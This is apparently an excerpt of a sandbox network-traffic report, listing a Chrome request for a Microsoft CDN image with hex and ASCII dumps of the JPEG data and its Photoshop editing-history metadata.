3e 74 d9 fe ed 64 ea 4e 3d 01 46 32 dc ef 2d fe 3b 68 32 dd c0 ba 6f 8c f4 7b d4 df ff 00 2c f4 e9 53 e6 ff 00 79 eb 53 c4 9f 
b4 25 9e 8d a6 a3 5b ea d1 eb 77 6b ff 00 2c 2d 20 57 f3 bd 96 b9 59 3f 66 39 74 bb 18 e1 92 fe ea 7f ef fd 86 f9 77 ff 00 
e3 cb f7 6b a8 f0 ff 00 
Data Ascii: -YkxC2ZJ|i${/?>~R3u\&Ru9bqqW={ZiJ'b~7x_']:oeO^Hdv3D~owipxf>tdN=F2-;h2o{,SyS%[wk,- WY?f9twk

2022-05-13 14:42:07 UTC 5336 IN Data Raw: 8e ce 89 f5 21 e9 d9 6f fa 99 f3 cb 6d cf 6b 93 c5 1a 1c 4f b7 fb 4a 3d b5 1a f8 93 46 95 f6 ff 00 69 79 cb fe c5 
78 0b 7c 70 b6 d9 ba 6f 8a 9e 0b 4f e0 ff 00 90 44 9b ea 5d 37 c5 97 5e 36 ba ff 00 89 7f c5 7d 1e 4b 7f b9 e5 d8 e8 ed bf 
fe fa ad a3 08 be a2 f6 8f aa 3d a3 5a f8 89 e1 5d 07 e5 be d4 9e 07 ff 00 a6 68 db eb 0b fe 17 f7 80 ed ed 52 e2 4b f9 e3 
85 9f 67 ef 2d 59 2b 92 8f c0 7a fd d4 91 cd 6b e3 ab 59 ff 00 e9 a4 9a 26 fd ff 00 ad 49 71 f0 6f 5a b8 8f fd 2b c5 70 3f f7 
e4 fe c7 fe 95 12 8e ba 3d 0d 17 76 ce ba 3f 89 5e 0c d6 51 e4 5b bf b5 7f 1f 96 9b aa e5 af c4 0f 09 db fc d1 c7 75 0f fb 96
ad f7 ab ce 6c fe 0c f8 8e de 68 da d7 c7 de 47 f7 3c bd 1e b7 ad fe 1b f8 e2 c7 e5 5f 89 33 bc bf df fe cb 5d 9b 6a 8c 9b 
95 ef 1d 8f 44 b7 f1 c6 91 71 
Data Ascii: !omkOJ=Fiyx|poOD]7^6}K=Z]hRKg-Y+zkY&IqoZ+p?=v?^Q[ulhG<_3]jDq

2022-05-13 14:42:07 UTC 5384 IN Data Raw: be 5f ed 2d 2b 7f fd 30 81 9d eb 4a ea eb c3 da f5 8e dd 42 ef 4a 87 6f f0 47 74 b5 96 b6 3a 44 bb ec f4 db 0b 
59 d1 be e4 ff 00 da 34 4a 4d a1 58 6b 5b de 5c 79 6d 71 e2 1f b5 6d fb 9e 42 6c fc ea 4d 4a 3b ef 10 5a fd 96 e2 49 27 
b7 5f f9 69 bd 62 aa 37 de 1d d1 74 bf 97 50 82 7b 5f 93 7f fa f6 74 7f ca a3 b1 b3 b3 59 ff 00 e2 5b a9 5a a6 ef f9 e9 04 8f 
50 5d cd 8d 37 4d d6 ac 23 8e 3b 3f 31 d1 53 e4 8e 49 d5 eb 5f cb f1 4b 47 fe a2 0d df ed ba ee ac 6b 8d 0d b5 68 3c 9b 
c9 e3 f9 be fc 96 29 2d be cf a5 63 cd f0 7f 4d bf f2 ff 00 e2 7b e2 a8 51 7e e4 70 6a 2d b1 ff 00 3a bb 3e 84 c8 e8 35 0b 
ef 15 59 ff 00 cc 27 4e 9f 77 fc f4 ba 54 ae 0f c4 5e 2e f1 52 cf 1e ef 0b e8 f7 5b 1f e4 f2 2f b7 ba 7e 95 d4 69 7f 0c f4 cf 0f 
cf 24 96 b0 5f 6a 8c df f4 12 9d 9f 
Data Ascii: _-+0JBJoGt:DY4JMXk[\ymqmBlMJ;ZI'_ib7tP{_tY[ZP]7M#;?1SI_KGkh<)-cM{Q~pj-:>5Y'NwT^.R[/~i$_j

2022-05-13 14:42:07 UTC 5400 IN Data Raw: ea ac 6e 2e 65 8d 37 3c 7b ea 05 b7 d4 9b cc db 25 ae ef f7 29 61 b7 b9 5f f8 fa f2 1f fe b9 bd 3d 06 69 4d 0c 
ad f2 b4 f2 27 fd 73 a6 c3 0c b1 47 b5 a7 df 2f fd 34 a2 1b 78 b6 7e ee 4f fc 7e ac 6d 6f bc b5 99 37 29 ab 5e 5b f9 6b 24 
91 ce 9f c7 25 4c df eb 3e 6f bd 52 49 0b 7d df bf f2 53 19 5b cc f9 9d 3e 5a 13 40 40 cb b2 4d ab 69 bd bf df a7 43 0e ef 
bd 06 c5 fe 0f 9e a4 6f 29 64 dc ce 94 cb 88 63 97 ee cf 22 3f fd 33 a7 71 0f dd 3e ff 00 dd c7 ff 00 03 df 54 e6 d3 fe d5 70 
f2 7d ae ea 36 ff 00 a6 73 d5 0b 8d 36 ef 7e e8 f5 5b af 95 fe e3 a2 d5 96 69 16 09 1a 4b f9 df 6f df fd c5 26 8a d8 9a df 4f 
5b 7f dd fd ae e9 df 7f fc b4 7f 9e ad 47 b5 3e 5f 32 47 ff 00 ae 8f 58 2d e2 8b 15 93 cb 9a fa 44 7f fa e1 50 df 78 83 48 8a 
34 59 b5 69 ed 77 7f cb 49 29 
Data Ascii: n.e7<{%)a_=iM'sG/4x~O~mo7)^[k$%L>oRI}S[>Z@@MiCo)dc"?3q>Tp}6s6~[iKo&O[G>_2GX-DPxH4YiwI)

2022-05-13 14:42:07 UTC 5423 IN Data Raw: d6 35 4f 99 ae e3 b5 4f f9 e7 1a 56 a5 9d bd cc 51 ed 6b bd fb 6a 49 23 b4 97 e5 f3 ea bb 5a c0 bf 2f 9f be af 
9a fa 22 79 6d d4 b4 d6 f2 48 df eb e9 d1 c3 78 a9 f2 c9 1a 25 51 58 e3 5f 97 cf 91 ff 00 e9 a5 58 b7 6d be 5a fe f3 fe da 
54 94 5a 5b 7b c6 fb d2 47 52 7d 8f ec f1 fe f1 f7 d3 56 6f 93 fe 5a 7f db 3a 9a 19 3f e0 0f 50 db 2c 8f cb fb 3f fb 74 dd b1 ff
00 cf 09 2a 66 91 97 ee fc 94 df de 7f cf 4f bd 40 0e 55 8a 5f 97 cb a9 3c 95 5f 99 be 46 a8 7e 68 be f4 94 d8 6f 97 cc 91 
5b e4 a5 67 ba 02 4d bf eb 19 7f 86 9d e6 47 fc 3f 7a a3 f3 bc d8 ff 00 d9 a8 d9 76 c7 b9 63 a6 05 8d ca df 77 ee 54 3f 67 
ff 00 a6 95 1c df ec fc ff 00 f5 ce 8f 95 7e f4 9f 3d 00 48 d6 7f c4 b2 6f a7 79 30 45 f3 33 d4 32 5b ff 00 0f 99 f2 53 63 d3 d5 
7e 6f fd 19 4b d5 81 71 63 
Data Ascii: 5OOVQkjI#Z/"ymHx%QX_XmZTZ[{GR}VoZ:?P,?t*fO@U_<_F~ho[gMG?zvcwT?g~=Hoy0E32[Sc~oKqc

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 192.168.2.3 49924 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:07 UTC 2525 OUT GET /cms/api/am/imageFileData/RWTbti?ver=ef43 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:07 UTC 2642 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWTbti?ver=ef43
Last-Modified: Mon, 09 May 2022 14:51:29 GMT
X-Source-Length: 1686955
X-Datacenter: northeu
X-ActivityId: 3ee41e31-d24b-4134-93aa-1058b22b0930
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1686955
Cache-Control: public, max-age=86926
Expires: Sat, 14 May 2022 14:50:53 GMT
Date: Fri, 13 May 2022 14:42:07 GMT
Connection: close

2022-05-13 14:42:07 UTC 2642 IN Data Raw: ff d8 ff e1 13 f3 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 31 3a 32 38 20 30 38 3a 35 39 3a 32 39 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:28 08:59:298"

2022-05-13 14:42:07 UTC 2676 IN Data Raw: 50 4d 20 2d 20 31 30 3a 30 30 20 50 4d 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 
61 79 65 72 4e 61 6d 65 3d 22 31 32 3a 34 35 22 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 54 65 78 74 3d 22 31 
32 3a 34 35 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 4e 61 6d 65 3d 22 46 72 69 
64 61 79 2c 20 4d 61 79 20 31 22 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 54 65 78 74 3d 22 46 72 69 64 61 79 2c 
20 4d 61 79 20 31 22 2f 3e 20 3c 2f 72 64 66 3a 42 61 67 3e 20 3c 2f 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 
65 72 73 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 
73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 
Data Ascii: PM - 10:00 PM"/> <rdf:li photoshop:LayerName="12:45" photoshop:LayerText="12:45"/> <rdf:li photosh
op:LayerName="Friday, May 1" photoshop:LayerText="Friday, May 1"/> </rdf:Bag> </photoshop:TextLayers> <xmpMM:H
istory> <rdf:Seq> <rdf:li stEvt:action="created

2022-05-13 14:42:07 UTC 2692 IN Data Raw: 30 32 31 31 30 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 
2d 30 37 2d 32 36 54 31 38 3a 30 34 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 
6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 31 34 30 31 31 39 30 37 35 5f 31 39 32 30 78 31 30 38 30 37 31 46 45 39 41 46 35 30 41 43 46 
42 44 36 33 34 33 43 31 37 42 30 39 32 46 34 35 45 46 42 38 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 
2d 30 37 2d 32 36 54 31 38 3a 31 37 3a 35 36 2d 30 37 3a 30 30 26 23 
Data Ascii: 021104_1920x1080.jpg saved&#xA;2016-07-26T18:04:52-07:00&#x9;File C:\Users\v-lizagh\AppData\Roamin
g\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Edge_GettyImages-140119075_1920x108071FE9AF50ACFBD634
3C17B092F45EFB8.psb saved&#xA;2016-07-26T18:17:56-07:00&#

2022-05-13 14:42:07 UTC 2709 IN Data Raw: 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 32 37 
3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 
65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 35 32 3a 32 35 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 
70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 35 34 3a 30 37 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
Data Ascii: cape.psd saved&#xA;2016-07-27T12:27:32-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_19
20x1080_Landscape.psd saved&#xA;2016-07-27T12:52:25-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd 
opened&#xA;2016-07-27T12:54:07-07:00&#x9;File C:\Users\

2022-05-13 14:42:07 UTC 2926 IN Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 48 61 6c 6c 6f 77 65 65 6e 5c 48 
61 6c 6c 6f 77 65 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 37 35 31 37 38 36 31 5f 31 39 32 30 78 31 30 38 30 
2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 33 54 31 34 3a 34 36 3a 33 32 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 48 61 6c 6c 6f 77 65 65 6e 5c 48 61 6c 6c 6f 77 65 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 39 38 
32 36 30 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 33 
54 31 34 3a 35 32 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
Data Ascii: rs\v-lizagh\MS\Windows10\Halloween\Halloween_GettyImages-127517861_1920x1080.jpg saved&#xA;2016-
09-23T14:46:32-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Halloween\Halloween_GettyImages-531982606
_1920x1080.jpg saved&#xA;2016-09-23T14:52:03-07:00&#x9;Fi

2022-05-13 14:42:07 UTC 2942 IN Data Raw: 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 30 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 
46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 31 31 2d 31 36 54 31 33 3a 31 35 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
Data Ascii: xA;2016-11-16T13:04-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015
.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11
-16T13:15:36-08:00&#x9;File C:\Users\v-lizagh\MS\Windows1
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2022-05-13 14:42:07 UTC 2966 IN Data Raw: 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 
68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 47 65 6e 65 72 69 
63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 36 38 31 37 31 32 37 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 
63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 47 65 6e 65 72 
69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 30 39 35 35 
Data Ascii: zagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Sway\Crops\Office_Sway-Generic_GettyImages-
506817127.jpg saved&#xA;2016-11-23T15:47-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\
_CHOSEN-Sway\Crops\Office_Sway-Generic_GettyImages-510955

2022-05-13 14:42:07 UTC 2998 IN Data Raw: 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 
4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 35 31 34 38 32 39 38 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 31 39 3a 31 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 
65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 
53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 
Data Ascii: e\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-51482
9822_1920x1080.jpg saved&#xA;2017-01-30T14:19:19-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\MS-
Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movie

2022-05-13 14:42:07 UTC 3355 IN Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 31 35 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 
6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 31 37 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 6
1 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 
Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-03-06T13:15
:52-08:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-03-06T13:17:15-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Cortana\Spotlight\CHOSEN\C

2022-05-13 14:42:07 UTC 3379 IN Data Raw: 31 3a 35 32 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 
68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 53 65 72 76 69 63 
69 6e 67 5f 35 30 30 70 78 2d 31 30 30 30 36 39 35 35 39 5f 31 39 32 30 78 31 30 38 30 46 45 43 41 43 41 37 45 46 45 
31 33 39 34 34 36 45 43 41 32 35 34 36 37 42 46 32 45 42 35 38 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 37 2d 30 33 2d 32 37 54 31 31 3a 35 37 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
Data Ascii: 1:52:06-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecov
er\_WindowsServicing_500px-100069559_1920x1080FECACA7EFE139446ECA25467BF2EB582.psb saved&#xA;2017-
03-27T11:57:48-07:00&#x9;File C:\Users\v-lizagh\MS\Windows1

2022-05-13 14:42:07 UTC 3435 IN Data Raw: 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 
65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 
5f 4f 66 66 69 63 65 2d 42 32 2d 4f 6e 62 6f 61 72 64 69 6e 67 5f 35 30 30 70 78 2d 31 35 35 33 30 35 39 31 35 5f 31 39 
32 30 78 31 30 38 30 43 34 31 33 46 43 34 35 46 30 46 45 39 43 45 36 34 46 41 43 31 37 46 46 46 44 32 34 36 37 46 37 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 30 54 31 30 3a 30 36 3a 32 31 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
Data Ascii: \Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Office-B2-Onboarding_
500px-155305915_1920x1080C413FC45F0FE9CE64FAC17FFFD2467F7.psb saved&#xA;2017-04-20T10:06:21-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x108

2022-05-13 14:42:07 UTC 3483 IN Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 
70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 33 33 36 31 39 35 5f 31 
39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 31 32 
3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 
68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 
Data Ascii: 9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_Getty
Images-560336195_1920x1080.jpg saved&#xA;2017-05-12T16:12:48-07:00&#x9;File C:\Users\v-lizagh\MS\Win
dows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGen

2022-05-13 14:42:07 UTC 3506 IN Data Raw: 72 6f 70 73 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 37 34 
35 33 30 39 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 
36 54 31 32 3a 35 34 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6
e 74 2d 47 65 6e 65 72 61 6c 5c 5f 43 48 4f 53 45 4e 2d 55 4b 2d 4c 6f 63 6b 73 63 72 65 65 6e 5c 43 72 6f 70 73 5c 45 6
4 67 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 37 37 32 31 31 37 38 5f 31 39 32 30 
78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 
Data Ascii: rops\Edge-MSRewards_GettyImages-117453098_1920x1080.jpg saved&#xA;2017-06-06T12:54:46-07
:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Entertainment-General\_CHOSEN-UK-Lockscreen\Cr
ops\Edge-MSRewards_GettyImages-157721178_1920x1080.jpg saved&#xA;20

2022-05-13 14:42:07 UTC 3642 IN Data Raw: 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 
54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 35 32 31 34 39 36 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 
67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 38 3a 34 30 3a 30 33 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5
7 69 6e 64 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 4
9 6d 61 67 65 73 2d 35 30 35 31 32 39 33 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 38 3a 34 32 3a 33 31 2d 30 
Data Ascii: ows10\Windows\Tips\Chosen\Windows10-Tips_GettyImages-485214969_1920x1080.jpg saved&#xA;2017-07-
13T18:40:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Windows10-Tips_GettyImages-
505129376_1920x1080.jpg saved&#xA;2017-07-13T18:42:31-0

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 3674 IN Data Raw: 30 38 2d 30 39 54 31 38 3a 30 34 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
